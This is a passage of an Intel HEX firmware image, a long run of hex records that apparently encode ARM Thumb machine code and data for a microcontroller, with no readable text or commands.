:1033800004ABA91D14199A79D8795200C0110243CF :103390000A70013101338C42F5D15A4B5B495A789E :1033A00009685300EB18994205D3574BAD181D60BF :1033B000534A574BD55001233370019B012B94D1B5 :1033C0007EE70178491001709CE7E823524D237095 :1033D0002822601C04A92F7026F0DDF84B4A7300E8 :1033E0001268E3189A4205D3474BA4191C60444A5B :1033F000474BD45001232B7062E7022B18D1802356 :103400003F4ADB00D358012B00D059E73E483F4CE0 :10341000036824681A781100243159188C4200D2AC :103420004EE702329B180360394A35498B5047E713 :10343000032B0CD134496878344C0B684200246863 :103440009A18944200D23BE71B180B60ECE7042B60 :1034500026D12D4F6B783C68029325001B192F4E07 :103460000193019B0136AB420BD028781EF004FE7D :10347000039030791EF000FE039B43402B70013512 :10348000EFE7029B5B00E418204B1B68A34200D2CD :1034900016E7019B1A4A3B6001991D4BD1500FE77B :1034A000052B00D00CE78023154ADB00D358012BF5 :1034B00000D005E7144F3C682300667828331A785B :1034C000013B9A719C42FAD123781549637100231C :1034D0000422601C0B6026F05EF8EB780B4A237028 :1034E000330012683533E3189A4200D2E8E6083612 :1034F000074B034AA4193C60D450E1E6FC1000409D :1035000000100040B4010020C4010020C8010020C8 :1035100004050000FFFF0000D8000020410B03005D :10352000CC010020F8B5FFF765F905232D24354DB2 :103530002B70AB785C4320001EF035FD0022324B2F :10354000041988331860314B2D301C60304B012139 :103550001860304B06005A608022D20511605A680C :10356000002AFCD004222C4CAA562C4BE250EF78B7 :1035700038001EF091FDA123DB00E050284BA22271 :10358000E7500323D200A350264A6B738B33A3501A :103590002B73254A254B0121A3500022AB60244BFD :1035A0002448E2500433E150234BC025E050234827 :1035B0000433E0500420224BFF30E050214B2248DE :1035C0006D00E0502148043BE0509120204BE0503A :1035D000204B8938E650C1239B00E0501E4B063833 :1035E000585118601D4BFF30FF305A6122505A600D :1035F00061605A68002AFCD000221A610123A3608E :10360000F8BDC046B4010020842E0020C80100206F :10361000C4010020FC000040001000400C05000028 :1036200054050000240500001C05000000D6BE89DA :103630002C0500000601020014050000250003020D :10364000340500003C050000555555005B060000A0 :10365000440500000405000000E100E0FC1000400B :1036600010B5FFF75FFF014810BDC04624DD020022 :10367000F7B50C00009206001F00FFF737FB6B49FF :103680000A78012A00D1C2E0694D2B0088331868FE :10369000002A1FD1A3236749DB00CB58E119DBB215 :1036A000994204D91F1BA34201D21C001700E31941 :1036B000037088352B682200581C310025F06BFF01 :1036C000002F6AD03A00286801340099001925F0CB :1036D00062FF62E0022A13D12200FE2C00D9FE22F2 :1036E000027001208B7B88355C0020432C680133FD :1036F00060700320034028688B7302303100E6E7D6 :10370000032A01D14A78F9E7042A00D080E0002793 :103710006D3202701968623A4A70196846328A70CE :103720001968263ACA7019684E320A7119680A3245 :103730004A711968613A8A7119682332CA71019312 :10374000019B1B680093A7420CD2F05D1EF094FC15 :10375000394A009BD2195279DB195040013718724F :10376000FFB2EDE700263548671DBE4207D2009B39 :103770009B19D9780136FFF711FCF6B2F5E7A31CC7 :103780002F4A5B009B5A88355840009B80B21B191A :1037900002121A722A68141960720222294B2549F2 :1037A000DA670022284B5A6101320A615A69002AFD :1037B000FCD01F4A88321068244A88500020586084 :1037C0000130086058680028FCD001208860002083 :1037D000186118690028FCD01D4800688850002234 :1037E0005A6101320A615A69002AFCD000225A60EB :1037F00001324A605A68002AFCD000221A61012373 :103800008B60C021134B023249005A501A60F7BD39 :10381000052AC2D1327802701968621E4A700021EE :10382000186881701868711C033050E7B4010020DB :10383000842E002000100040410B0300D2B5000090 :1038400010FF020004E100E0FC100040040500004D :10385000C401002000E100E007B50B4B01A91B7873 :10386000023B032B08D805F091FF00231A000199B1 :10387000FFF7FEFE05480EBD05F088FF019B020024 :1038800003210348F4E7C046B401002024DD020010 :103890003D0B03001FB5012201A909F04DFA0023D9 :1038A00001981A000299FFF7E3FE014805B000BD38 :1038B00024DD0200F8B5FFF719FA374E00243778F7 :1038C000022F67D10422354B883319680A70B57B03 :1038D00018686900417018683149023025F05BFEB4 :1038E000032301351D402F4BB573DF678023012172 :1038F0002D4A9B00D4502D4B5C6111615969002900 :10390000FCD0002159600131116059680029FCD0B8 :10391000012191600021196119690029FCD0244915 :1039200008682449505000215961013111615969D9 :103930000029FCD0002159600131516059680029EB :10394000FCD0002401211C61FA2091600138C0469E :10395000C046C046C046C046C046C046C046C04637 :10396000C046C046C046F1D11B69A34204D08023A3 :10397000DB00D458631E9C41802300219B00D15062 :103980000533FF330831D15002220B4B7931FF311F :103990005A501A602000F8BDB4010020842E002087 :1039A000640B030004E100E000100040FC10004044 :1039B000C40100200405000000E100E010B5FFF79D :1039C00079FF034B002800D0024B180010BDC04601 :1039D000ACAD0200B4AD0200F7B5FFF787F9404B7C :1039E00000201B78022B00D074E03E4A3E4CD36787 :1039F000FF33FF33E05001233C4D686123616B6965 :103A0000002BFCD0012637000422394B883319687B :103A10000A7033491868897B019149004170186820 :103A20003449023025F0B7FD0322019B01331340D6 :103A30002B4A9373A123DB00D670E65000236B6002 :103A400027606B68002BFCD00023A7602B612B69DB :103A5000002BFCD0284B1A68284BE25000236B61E6 :103A600027616B69002BFCD000236B6067606B687B :103A7000002BFCD00023FA202B61A7600138C04640 :103A8000C046C046C046C046C046C046C046C04606 :103A9000C046C046C046F1D12B69002B04D080231C :103AA000DB00E358002B16D10136652EACD1002384 :103AB00080220021C0209200A1500532FF3208313F :103AC000A1500F4A0639400011501160012B04D15A :103AD000034BD878FEBD0123EAE701204042F9E715 :103AE000B401002004E100E000100040FC100040A0 :103AF000842E0020640B0300C40100200405000094 :103B000000E100E010B5FFF767FF034B002800DB82 :103B1000024B180010BDC046ACAD0200B4AD0200AF :103B2000F8B5214E3568696801292DD9AB684C1E5E :103B30001A5D0A2A28D15A1E002C01DC220008E056 :103B4000105D0A28FAD0013CF6E7985C202802D1E3 :103B500001329142F9D8002C0BDD501C814208D172 :103B6000601E002805D001381F5C0A2F0CD0202FC2 :103B7000F7D05B18023B1B78141B3A3B5A42534167 :103B8000A408E418013C00D2F8BD084F0422390013 :103B9000280023F01DFC0421380011F039FF33699F :103BA00004333361EEE7C046D0010020DE5A030043 :103BB00010B520220021024825F009FD10BDC046A5 :103BC000E42E0020084B10B5426818600020986071 :103BD00018750138D86008005A601A61996123F09D :103BE0002BFDFFF79DFF10BDD0010020F8B5037835 :103BF0000400002B1ED0104D286E002804D0210098 :103C000025F02FFD002815D0200025F034FD471C9D :103C100038001EF0D5F9061E0CD03A00210025F020 :103C2000BAFC2B000722996F013AD967043B002A9E :103C3000F9D12E66F8BDC046842E0020F0B5B84CF0 :103C400002002068A568436885B00193002D00D06C :103C5000FDE0531E042B11D8636801998B4200D1FB :103C600095E0012A00D12AE1022A07D1236962687E :103C7000934200D94FE10122524288E0032A00D149 :103C800085E0042A00D12FE1052A00D107E1062AA8 :103C90000ED12369019A9342AD416D42002DEADDB8 :103CA0002368290098682369C01811F0B1FE1FE04D :103CB0000B2A21D1019B2269991A23F049FC236820 :103CC000019A5B68934204D213002269981A11F09A :103CD000D5FE2268236951689068C91AC01811F08E :103CE00097FE236858682369C01A401B11F0B4FE80 :103CF00023695D192561BEE70E2A13D1E368002B05 :103D0000B9DB013BE3606268019B991A23F020FC58 :103D1000E368002B18DB1633824A9B00D31899689E :103D200020680FE0102A16D1E368062BA3DC5D1C87 :103D30007C4A17339B00D318996800299BD063688D :103D4000E560436023F0C9FB63682269D61A2268E4 :103D50005568ED1A0AE0152A0CD12369626861687A :103D60009A1A23F0FCFB236962689E1A0127002E31 :103D70002FDCA4E70D2A0DD16B4823F05DFC2068F1 :103D800023F090FB6368C018FFF730FF002210009B :103D900005B0F0BD01231B2A62D0082A01D07F2A7A :103DA00020D121696368994200D864E701228668BE :103DB000D21AF75C202F13D1D71801339942F8D8C3 :103DC0000126032F00DD0336891B320023F0C7FBD9 :103DD0000127300011F040FE23699E1B266178E028 :103DE0000126F1E7092A28D1636822698068D11A7F :103DF000C0184E4A03ABFEF701F8061E00D13AE7A1 :103E00000027431C0BD1A06923F016FC63682269CC :103E1000D11A22689068C01811F0FAFD4FE72369A3 :103E20002068F918039B01375A1C03921A7823F073 :103E30007DFBBE42F3D1350041E71300203B5E2BF2 :103E400000D918E7216923F07AFB012537E7012D16 :103E500008D104234F2A03D002235B2A00D0002379 :103E6000A36008E7022D20D11300303B092B03D8B3 :103E700003232275A360FEE60023A360412A00D13C :103E800052E7422A00D139E7432A00D101E7442A08 :103E900000D1EBE6482A12D0462A00D0EBE60027F4 :103EA000019B22693E009D1A0EE00021032D29D1BD :103EB0007E2A24D1237D312B01D0372B0DD1002533 :103EC0002F00236962689E1A0023A3609E4200DDD2 :103ED0007FE7002F00D1E1E6F1E61A00FB25343A36 :103EE0002A42DCD0332B0AD12169019B994206D2A8 :103EF000012223F034FB002501272E00E4E70025F2 :103F00002F00FAE7042D04D1462AC8D0482AD6D07B :103F1000A5E7A160AFE6002501262F0059E7C046BE :103F2000D0010020842E0020CA0D030034B7020007 :103F3000F7B5CC1CA400070020000E0001921EF073 :103F400032F822000500054B4760866003600C3A9A :103F500001990C3025F01FFB2800FEBD8CA8020043 :103F60000023820708D10068044A0133904203D03D :103F7000034BC01A434243411800704704A9020092 :103F8000C8A80200044B88600B60044B08004B601B :103F90000023CB607047C04684DC02001922020077 :103FA00030B585B0050008006946FCF749FD0400FE :103FB0002000FCF7A7FD011E02D1064805B030BD68 :103FC0002B1D0022180023F0E3FC0028F0D002484B :103FD000F4E7C046B4AD0200ACAD020070B5050018 :103FE00010201DF0E0FF0400074B696808C023F0B3 :103FF000C5FCAB68E968A3606B68E0689A0025F0CF :10400000CAFA200070BDC04604A90200F7B504003A :104010000D0000268B0704D10B68214E9E1B7342B6 :104020005E41AB68002B0AD1002E03D01D49200051 :104030001EF00DFF1C4920001EF009FFF7BD002EE9 :1040400003D01A4920001EF002FF194920001EF07B :10405000FEFE002701236A68BA4207D815492000EE :104060001EF0F5FE002EE9D01349E4E7BA000192F4 :10407000EA68B9005258002A0FD0042A0DD0002B4C :1040800003D10E4920001EF0E2FEEB68B90059583A :104090000122200008F0CAFB00230137DBE7C046FD :1040A000C8A802003C0C0300430C0300490C0300A9 :1040B000540C0300FB580300BD420300C807030073 :1040C00010B5830707D1044B02689A4203D1034914 :1040D00003481DF0B7FE10BDC8A80200040C030081 :1040E000A8A1020070B50D000400FFF7E9FF290048 :1040F000201D012223F04CFC004870BD24DD02008D :1041000070B50D000400FFF7DBFF2900201D02221F :1041100023F03EFC004870BD24DD020070B50600AF :1041200008680D000124FFF7CBFFB44201D3044817 :1041300070BDA300E95828681EF00CF80134F4E7BC :1041400024DD020070B50D000400FFF7B9FF280060 :104150000021FCF775FC05002800FCF7D3FC011ECC :1041600001D1044870BD231D0322180023F010FC68 :10417000F2E7C04624DD020010B50400FFF7A0FFFF :10418000201D23F091FC014810BDC04624DD020033 :1041900010B501221EF00FF8004810BD24DD02000A :1041A00070B504000D00FFF78BFF201D02222900CF :1041B00023F0EEFB002804D103481DF02DFF03F08F :1041C0006FF9024870BDC04688A3020024DD0200DA :1041D00010B50400FFF774FF201D23F046FC0028F3 :1041E00003D1024902481DF02DFE10BD260C03002C :1041F00088A30200F8B50D0001280BD0002803D0D9 :1042000002280BD00020F8BD8B681448002BFAD18F :104210001348F8E78B685B001843F4E70324002099 :104220000C408442EFD10F4B0E6820009E42EAD131 :104230004F68A74203D1012076003043E3E7EA68E4 :10424000A3009958002906D0042904D00220FCF7C5 :104250008FFA401036180134EBE7C046B4AD0200C7 :10426000ACAD0200C8A80200F8B5040010200D0093 :104270001DF099FE0600094B210008C6070030001A :1042800023F07CFBA4002C19A54201D13800F8BD15 :10429000012202CD300023F07BFBF5E704A90200E8 :1042A000F7B504000E00171E2CD0FFF709FF194DBB :1042B000B4422DD000210800FFF7D6FF00210500F1 :1042C0003000FCF7BDFB01900198FCF71BFC061EBB :1042D0000CD1002F1CD0E0681DF094FE6B68636069 :1042E000AB68A360EB680B4DE36011E0201D00227A :1042F000310023F04DFB0028E6D031002800FFF705 :10430000F1FEE1E78842D5D120001DF036FF05001F :104310002800FEBD24DD0200F0B589B00400039042 :10432000029101920027FFF71BFEB84207D13A0025 :1043300003AB012122481DF092FF04000137029DCA :1043400000262800FFF70CFEB04207D1320002AB76 :1043500001211B481DF083FF05000136019B002B46 :1043600005D00023AA680193A36893420DD0154B92 :1043700006940493144B05930023079304A81DF09F :104380004BFF011E12D101230193002F02D0200008 :10439000FFF7F2FE002E02D02800FFF7EDFE019B92 :1043A0000A48002B00D10A4809B0F0BD2B1D00229D :1043B000180023F0EDFA0028E0D10190E5E7C046AF :1043C00004A9020084DC020019220200B4AD02003C :1043D000ACAD020073B50C001500009101920026EF :1043E0008B0704D10B68394E9E1B73425E4132002D :1043F0001F2868D816F03CFA2810176767671C67F3 :104400006767676767212D346767673B676767671B :104410006740464A5358675D290020001DF0BEFEE4 :104420000400200076BD290020001DF00DFFF7E7F5 :10443000694602201DF0EBFEF2E7002E04D069462B :104440000220FFF76BFEECE7290020001DF09CFE28 :10445000E6E729002000002EE0D0FFF773FEE0E73A :1044600029002000FFF71CFF002EDAD1D8E76946AB :1044700002201DF0A0FED3E7012229002000FFF753 :104480004BFFCDE7012221002800F8E72800FFF7C5 :1044900067FD002815D0A368AA68934211D12900AE :1044A00020001DF00DFFBBE7290020001DF000FFDC :1044B000B6E7201D0022290023F06AFA044C0028E8 :1044C000AFD1044CADE70024ABE7C04604A902001D :1044D000B4AD0200ACAD020010B50400431C02D024 :1044E0000248FEF7FBF8024B1C6010BDAC2E00200A :1044F000802E0020014B024A9A647047842E0020CF :10450000AC2E0020F8B50E000500140010F05AF88B :10451000330003272B433B420BD1BC4209D9A208ED :104520003100280015F0E6F82300BB43ED18F6181B :104530003C40002C04D022003100280024F053FC21 :1045400080220449D2008B58002BFCD010F02AF8AE :10455000F8BDC04600E00140F0B5060000248BB075 :10456000194B1A48E1580BF02DFD03AFE05104340C :104570001C2CF5D114230024734301930025AB00B8 :10458000F95813481FF0F1FB0135300023F061F8B2 :10459000072DF4D1013DAB000D48F9581FF0E5FBA4 :1045A000300023F056F8013DF5D20134082C03D138 :1045B00009F096FD0BB0F0BD01231C42DED101983D :1045C00023F047F8DAE7C046A4AA0200289F0200B9 :1045D0002400002010B51920FFF7BEFF004810BDD1 :1045E00024DD0200FF230322DB05CB1810B5934323 :1045F000042804D816F03CF906030F041600002125 :10460000080010BD0021181C16F006FB0A490028FE :10461000F6D00A49F4E7181C17F054FA01214000BB :104620000143EDE7802109065B18022193431943FA :10463000034BC918E4E7C046B4AD0200ACAD0200BC :1046400000008080FF23DB0510B50400C818032399 :104650009843002386B00193063300931022613300 :1046600002A903F073FB02A920001EF0F0FB2E212B :1046700002A824F0E8FF00280FD1652102A824F049 :10468000E2FF002809D16E2102A824F0DCFF0028F7 :1046900003D1034920001EF0DAFB06B010BDC0466E :1046A0003A0B030030B50C001100002285B01D004C :1046B000009201232000FDF741FE002C23D0286842 :1046C000124B0340062B06D0032420420ED1104B80 :1046D00002689A420AD103A905F058F8002203990A :1046E0000092130006F08AFE05B030BD030023409F :1046F000022BF9D008F0CCF903000220A3431843A1 :10470000044BC018F0E70448EEE7C046070080FFFE :1047100040BB0200000080800200808070B5050070 :1047200086B01000019108F0B3F9041C0390681FD3 :10473000182800D9B8E016F09BF80D121F24333E5C :104740006A7CB7B7B7B7B70D121F24333E6A9AA376 :10475000A8ADB2000198211C16F096FB03E0211CC5 :10476000019816F0F5FF0190032301984F4A9843F2 :10477000013B03439B1877E0211C019816F0D2FE01 :10478000F1E70021201C16F047FA002803D0484921 :1047900048481DF057FB03A901A81DF0EEFDE3E713 :1047A0000021201C16F038FA0028F0D1211C0198B5 :1047B00016F0E2FCD7E70021201C16F02DFA0028A5 :1047C000E5D1211C019819F041FD0021051C019043 :1047D00016F022FA002807D0039A0023002A01DAF3 :1047E00080231B060193BFE70021281C16F01AFA4C :1047F0000400039E601E84410021301C16F012FA52 :10480000431E9841A042AFD0311C281CA4E7019D53 :104810000021281C16F000FA002805D00021201CD9 :1048200016F000FA0028B2D1211C281C19F06CFDEA :1048300099E70021201C16F0EFF90028A7D103A961 :1048400001A81DF09AFD03220220019B1749934302 :1048500003435B180493039B934303435B1804A92E :1048600005930EF047F90300180006B070BD0199DA :10487000201C16F0EBF9104B0028F5D10F4BF3E795 :104880000199201C16F0CEF9F5E70199201C16F0CD :10489000C3F9F0E70199201C16F0E2F9EBE7019962 :1048A000201C16F0C9F9E6E70023DDE70000808050 :1048B0009D0503000CA70200B4AD0200ACAD0200E0 :1048C000F0B508C98DB00593244B06AC01380093B0 :1048D00001940623FDF762FDE068214E214FB042AE :1048E00002D00CF045F807001F4B20690393B0423B :1048F00002D00CF03DF803901C4B60690493B04269 :1049000002D00CF035F80490194D380029000EF053 :1049100037FB290003980EF033FB290004980EF0B2 :104920002FFB01200523049A0399059D52794979AB :1049300004354042FB5652B2009049B2280015F0AF :10494000C7FC0023A2686168280015F04DFC280010 :10495000069915F07BFC30000DB0F0BDB4AB020041 :1049600024DD020020CF020030CF020028CF020059 :10497000FCD20200F0B50E6887B0736807000C0027 :10498000002B02D11248FCF77DFC486808F01AF8A9 :10499000010002A822F049FD0025032F03D1A068E1 :1049A00008F010F805000024039B0193A34208D9E6 :1049B000301D290015F074FD049B18550193013436 :1049C000F2E702A9034804F057FA07B0F0BDC04669 :1049D000560C030020B9020070B505006B6886B064 :1049E0000800002B02D10B48FCF74CFC00240122EC :1049F00003A908F0A1F9039E049B0193A34205D9E2 :104A0000315D281D15F04CFD0134F5E7024806B074 :104A100070BDC046560C030024DD0200F0B5050051 :104A20006B6887B008001400002B02D10D48FCF71A :104A300029FC0122694608F07FF9200000240222A7 :104A400003A9009F08F078F9039E019BA34206D9B1 :104A5000395D281D15F024FD30550134F5E7024875 :104A600007B0F0BD560C030024DD0200F7B5456821 :104A70001600A8681F00019122F017FB0400A86827 :104A800022F019FB22F011FB0323584307340019CD :104A900080001DF088FA084B040003606B68320048 :104AA000436000238560C36001993B0008300FF02C :104AB000C9FF2000FEBDC04650AC020070B5050025 :104AC00088680C0022F0EFFB230002000249280056 :104AD0001EF07BFA70BDC0468A0C030010B5024878 :104AE0001DF09AFA02F0DCFCA4A5020010B5040047 :104AF00008201DF058FA024B4460036010BDC04608 :104B00008CAC0200F7B5C56804001E00002D02D170 :104B10001D602800FEBD03691830834205D1184B83 :104B2000994203D01748FCF771FD19602000164F19 :104B300011007B680830019363687B6008F008F916 :104B4000019B05007B60012807D002280CD00023C0 :104B5000E36023691B683360DBE723691B6833600C :104B6000002BD6D1E360D4E7A368986822F09DFAC1 :104B7000002305308000E36024186368EBE7C0463B :104B800024DD0200A80C0300842E002013B501AB25 :104B9000FFF7B8FF01280ED0104C02280DD0019B62 :104BA000A34219D0002B17D001AA01210C481DF0F7 :104BB0002DFA02F075FC019816BD019807F01EFE53 :104BC000074904F01DF8002801D10198F1E7019888 :104BD000FDF7F2FCA042F8D10020EDE724DD020051 :104BE000A4A5020010B50B00022808D14A680549A7 :104BF0001868FFF7CBFF002803D1FFF76FFF8A6823 :104C0000F5E710BD24DD020010B500220149FFF7D1 :104C1000BDFF10BD24DD020013B5114C01AB114ADC :104C20002100FFF76FFF012803D0022805D02000E4 :104C300016BD0D490D481DF005F9019807F0DEFD80 :104C40000B4903F0DDFF0028F1D1019807F0D6FDF4 :104C5000084903F0D5FF0028E9D1019802F020FCB3 :104C600024DD020010A102006A0C030068A5020006 :104C700098A20200A4A50200F7B505002C200E00A2 :104C8000170001931DF0A1F904000570866087816B :104C9000072D01D0012D10D1337872780A3B1B0209 :104CA00013439BB2E381019B20206375042363843B :104CB0001DF079F9A0622000FEBD014B5B5DF1E7BC :104CC000DE0C0300F7B50600194D0C0028001CF09F :104CD000A1FA310017481CF011FA17481CF09AFA93 :104CE00016481CF097FAFF239B00E61821787F29CD :104CF00001D0A64206D128001CF08CFA10481CF006 :104D000089FAF7BD6278A37850290CD80D48475C22 :104D10000D48405C019300923B0002000B481CF0E0 :104D2000EDF90434E2E70A481CF0E8F9F9E7C04677 :104D3000980D0300C50D0300CD0D0300560D0300B3 :104D4000740D03009311030042110300EE0D0300E4 :104D5000110E0300F0B51D008BB007901B48160024 :104D600008911CF057FA290019481CF0C7F9194896 :104D70001CF050FA18481CF04DFA0024A54204DC3F :104D800012481CF047FA0BB0F0BD089B375DA0003D :104D90000799181803788278095D049707689B06BD :104DA0003F037F0E0397C7789B0E09933B0902933D :104DB00000883F07C004400E3F0F01901209009782 :104DC000099B06481CF09AF90134D7E7980D0300B7 :104DD000E50C0300120D0300440D0300760D0300E3 :104DE000002803D0012807D0002070478B680448B2 :104DF000002BFAD10348F8E78B685B001843F4E70F :104E0000B4AD0200ACAD0200034B48600B60002360 :104E100008008B60CB607047D8AC02007FB50400FF :104E20000122080001A907F087FF00222179402014 :104E300006F06EF801000500029815F02DFD63687C :104E400006001A0A824218D2A368C1186943E068B2 :104E50001DF0C7F86368E060DBB22A00A0686360F9 :104E60006843E36872431818019924F094FBA3681F :104E700004489E19A66004B070BD121A1202DBB27B :104E80001343EAE724DD0200F7B5FF274568040075 :104E90000191BD431DD101792A00402006F038F868 :104EA000636806003B408027A1683F011F4308312B :104EB00041436760E0681DF094F86368E0601A0A97 :104EC000A368013A013372435E432900801924F03C :104ED0007EFB2079019BA268E16806F0C1F9A36816 :104EE00003480133A3606368013BFF3B6360FEBD81 :104EF00024DD0200F8B5002207000D00010040206B :104F000006F006F8060010201DF04DF8084B0400CE :104F1000012F00D0074B2800277123606368A5602C :104F2000DBB2704363601DF03EF8E0602000F8BD26 :104F300070AD020034AD020070B506008AB00C00FE :104F4000150012285BD005D8052827D000242000A2 :104F50000AB070BD1B286AD01F28F7D1012207A90B :104F600028001EF0E9FE032300284DD01C4213D177 :104F7000394B22689A420FD1012204A920001DF06A :104F8000E3FA0123079A00930599089B04981EF001 :104F90005AF9324C0028DAD1314CD8E704A9012261 :104FA00020001DF0D1FA07A92800012207F0C4FE55 :104FB000069B002203936B464020197B05F0A8FF57 :104FC00006000100089815F067FC069BA168039392 :104FD0006B4605004118187BFFF78CFF059B04000A :104FE0001A000499C068039324F0D5FA2A000598A2 :104FF000E36872431818079924F0CDFAA7E7110067 :105000002000FFF70BFFA2E7EA070DD41D4203D1F2 :10501000144B2A689A4207D003232B40022BBBD1A2 :10502000114B1D40062DB7D01048FCF71DFB012287 :1050300004A920001DF088FA012207A928001EF00B :105040007BFE0028A8D0089B059A00930499079B33 :10505000300020F09CF89CE770AD0200B4AD020077 :10506000ACAD020004C60200070080FFC3120300BB :10507000F0B5050087B00E00012808D08B0726D1B7 :105080000B68264A934202D0254A93421FD101223F :1050900003A930001EF050FE002818D0002229007D :1050A000402005F035FF01000700049815F0F4FBDF :1050B000060001002800FFF71DFF320004007A43BC :1050C0000399C06824F067FA200007B0F0BD3000F3 :1050D00007F092FD071E00D0471039002800FFF7A7 :1050E00009FF002104003000FBF7AAFC0026009015 :1050F0000098FBF707FD031EE6D0002F04D119002E :105100002000FFF7C1FEF3E7721C0192E168320054 :10511000280006F0A5F8019EEAE7C04620B9020083 :1051200070AD020070B50E7904000D00012E0DD196 :1051300019491DF08CFE3300AA68E968200003F0CD :1051400037FE164920001DF082FE70BD3200144962 :105150001DF03BFFAB68002BF3D0124920001DF07F :1051600076FE0026AB68B34204D80F4920001DF03C :105170006EFEE6E7002E03D00C4920001DF067FE0E :105180003200E968287905F033FF01220100200090 :1051900007F04CFB0136E5E7320E0300BD42030089 :1051A0003E0E0300490E0300BA570300C807030070 :1051B00070B5050086B0141E2CD0032680680E4002 :1051C0002DD1214B0A689A4229D103AA0BF0EAFBA0 :1051D000002802D11D48FCF747FA042C1DD13200EB :1051E0002979402005F094FE049B06000093039B60 :1051F00028790193019A009B991AFFF77BFE039986 :10520000049A0400521A71437243EE68C068711820 :1052100024F0C1F9200006B070BD3400FAE70A009E :1052200000230100286807F0A7FC02002879042C5D :1052300004D1E96805F0DCFE0400EBE72300E9682F :1052400006F00EF8024CE5E744BC02004D0E0300E8 :1052500024DD020037B50C00110000221D00009271 :1052600001232000FDF76AF8002C05D12100012060 :10527000FFF740FE040016E02968CB0705D48B0732 :1052800013D10C4B0A689A420FD1080007F09AFB21 :10529000010005000120FFF72DFE2A000400002177 :1052A000C06824F094F920003EBD0120FFF7E0FE25 :1052B000E0E7C04604C6020010B50B790349002B95 :1052C00000D103491DF0C3FD10BDC0467E0E030092 :1052D000830E030037B50C00110000221D00009260 :1052E00001232000FDF72AF8002C05D0286807F0DC :1052F000A7FC034B002800D1024B18003EBDC0465E :10530000B4AD0200ACAD02000722436804481B792B :105310001340044AD35C002B00D003487047C046BA :10532000B4AD0200D9000020ACAD020010B50124DC :10533000037A05499B005A580448224200D1044888 :10534000A243CA5010BDC046EC010020B4AD02001B :10535000ACAD0200072330B50279A0211340A22290 :10536000C905D2008A584179164CCA401100E55649 :105370006A1EC90700D56A1C022A0ADC0020824284 :105380001ADB1149CD5C854201D0C8540230E25489 :1053900030BD072A09DD0C2A10DC0B490320CD5C47 :1053A000002DF4D10238C854F1E707490320C95C45 :1053B0000029ECD10800EAE70200E8E703200C220C :1053C000E5E7C046E1000020D900002070B5037A6F :1053D000064C05009B00185940081DF04FFB0122A8 :1053E0002B7A9B0019590A401A5170BDEC0100201C :1053F00070B51948FFF7AEFF022805D117490B68B1 :105400009A1C012313430B601548FFF7A3FF0228E2 :1054100005D112494B689A1C012313434B60114D6F :1054200028000DF079FD104CA04202D12800FFF7B2 :1054300091FF0E4D28000DF06FFDA04202D1280013 :10544000FFF788FF0A4D28000DF066FDA04202D14B :105450002800FFF77FFF70BD70CF0200EC01002035 :1054600010CF020000CF0200ECD2020048CF0200B1 :1054700058CF0200072203791340014AD05C7047DD :10548000D9000020002313B5044A046A09050093DB :10549000890C8A58A16B1DF025F913BD8CAE020052 :1054A000F0B587B000931B7805000F0002922A2BFD :1054B00007D183685B5C002B68D0A62B66D007B051 :1054C000F0BD1A00213A022A2CD8846860180378AB :1054D000032B5BD104A96E681DF0CEF9A319984285 :1054E00005D16F60049928001DF02AF9E7E70378D9 :1054F000032B4BD105A91DF0BFF9009B1B78212B75 :1055000004D1049B059A13430493E7E7222B03D1AC :10551000049B059A5340F7E7232BDFD1059B049AA0 :105520001340F1E71A00243A022A00D987E0836881 :10553000581801930378032B28D16B6804A90393AF :105540001DF09AF90600019B039A9B189E42C8D051 :10555000B378B01C7478032B18D105A91DF08CF911 :105560000600372C36D1059A1F2A0FDC4249049BCE :10557000114199420ADBC021090611418B4205DB2A :1055800093400493049A53005340DCD500206B6889 :10559000029CDE1B431C0193E4096AD133000134F1 :1055A000DB09FCD1831C1A1939002800039321F070 :1055B000A0FF0500009B029A1B7801991A33037023 :1055C00001301DF011F8039B3200E81821001DF096 :1055D0000BF874E7392C08D1059B1F2B01DD1F2325 :1055E0000593049B059A1341CBE72F2C03D1049B11 :1055F000059A9B18C5E7302C03D1049B059A9B1A8A :10560000BFE7312C09D10599049805F0EDF9002880 :10561000BCD1059B049A5343B3E7332CB6D005990C :10562000352C06D10029B1D004981DF0AAFF0490B2 :10563000A8E70029AAD004981DF0B3FFF7E7272BAD :10564000A4D1836858188378032B9FD14478023003 :105650001DF021F92F2C01D1049042E7302C06D106 :10566000404243000490584000D43AE78EE7C043DC :10567000F2E701988EE7C046FFFFFF3FF0B597B015 :105680000990C020002560230AAC80000F0016009E :1056900025706360A5601CF093FC2561E060656186 :1056A000A561E5612762E562A84218D1C149C248F7 :1056B0001CF0BFFC0023060013930D981CF0A2FC05 :1056C000002E00D1D7E10023BA6B39683000FDF716 :1056D00013F8380022F013F9300001F0E1FE38220F :1056E000002E03D00232022E00D02A000026B34939 :1056F000920052582000B96B330000961CF0F2FF64 :1057000010201CF050FC1021040021F07DFE0AAD99 :10571000AB682A78002B00D18AE1002AC6D1EA685A :10572000013BAB60DB00D318DA78A44992005258F1 :1057300003921A689D881202120A0692039ADB8865 :10574000527807920F2207990A400592002D21D026 :1057500030220493079B1340102B1DD0202B5BD0CD :10576000002E00D130E1059B022B00D015E1002373 :10577000012D1AD0079A691ED20705D5039A92887F :10578000120B012A00D16908012900D08CE0002BFE :105790000FD089E06368DBE7002D08D13800039B58 :1057A00040309A1C059BAB4205D80126AFE7002E7E :1057B000F4D10026ABE76E00935B190B09038C460E :1057C000802149018C4513D106781B051B0D9E4293 :1057D00020D121000AA81CF0C2FF0028E9D13B001B :1057E00040331B78052B00D039E1754975485FE7D8 :1057F000059A6B1C934206D2049A069900920AA855 :10580000039A1CF06FFF039B0AA89E197188FFF78B :1058100039FECEE70135C5E7002E0BD0039A6B00A9 :105820009B5A1B0B032B46D10121200021F02CFE9B :1058300000230370059BAB4241D880200026059AC7 :10584000039B5100C918400199426AD1A368049A88 :10585000981800230593A2686368D31898426BD305 :10586000039B1B78052B01D00C2B00D10126039B39 :10587000597840230B405842434149B25B421E4095 :10588000002900DA01260025049B0795D018089509 :10589000059B9D4257D1002E02D1089B012B62D05F :1058A0000799200021F054FE039B069A04992000DA :1058B000FFF7F6FD7DE7012D00D876E78FE7802121 :1058C000039B6E0002339B5B49011A0B12038A4251 :1058D00025D13A0040321278DBB29A421BD1072A16 :1058E00007D1B96CF86C0FF003FF010020001CF029 :1058F000EFFE002D0AD1039B5B787F2B06D90E9B10 :105900002000591C07930E911CF01AFF380010F06C :1059100097FC01358EE7002D00D146E75FE76B1C51 :105920006AE75A88150B2D03854203D1D2B2062AA5 :1059300000D90126023387E7059B01210133059336 :105940001CF075FE87E7079A037801320792002B57 :1059500004D0089B013308930023079301211CF016 :1059600066FE013594E7A268049B944663441D00DB 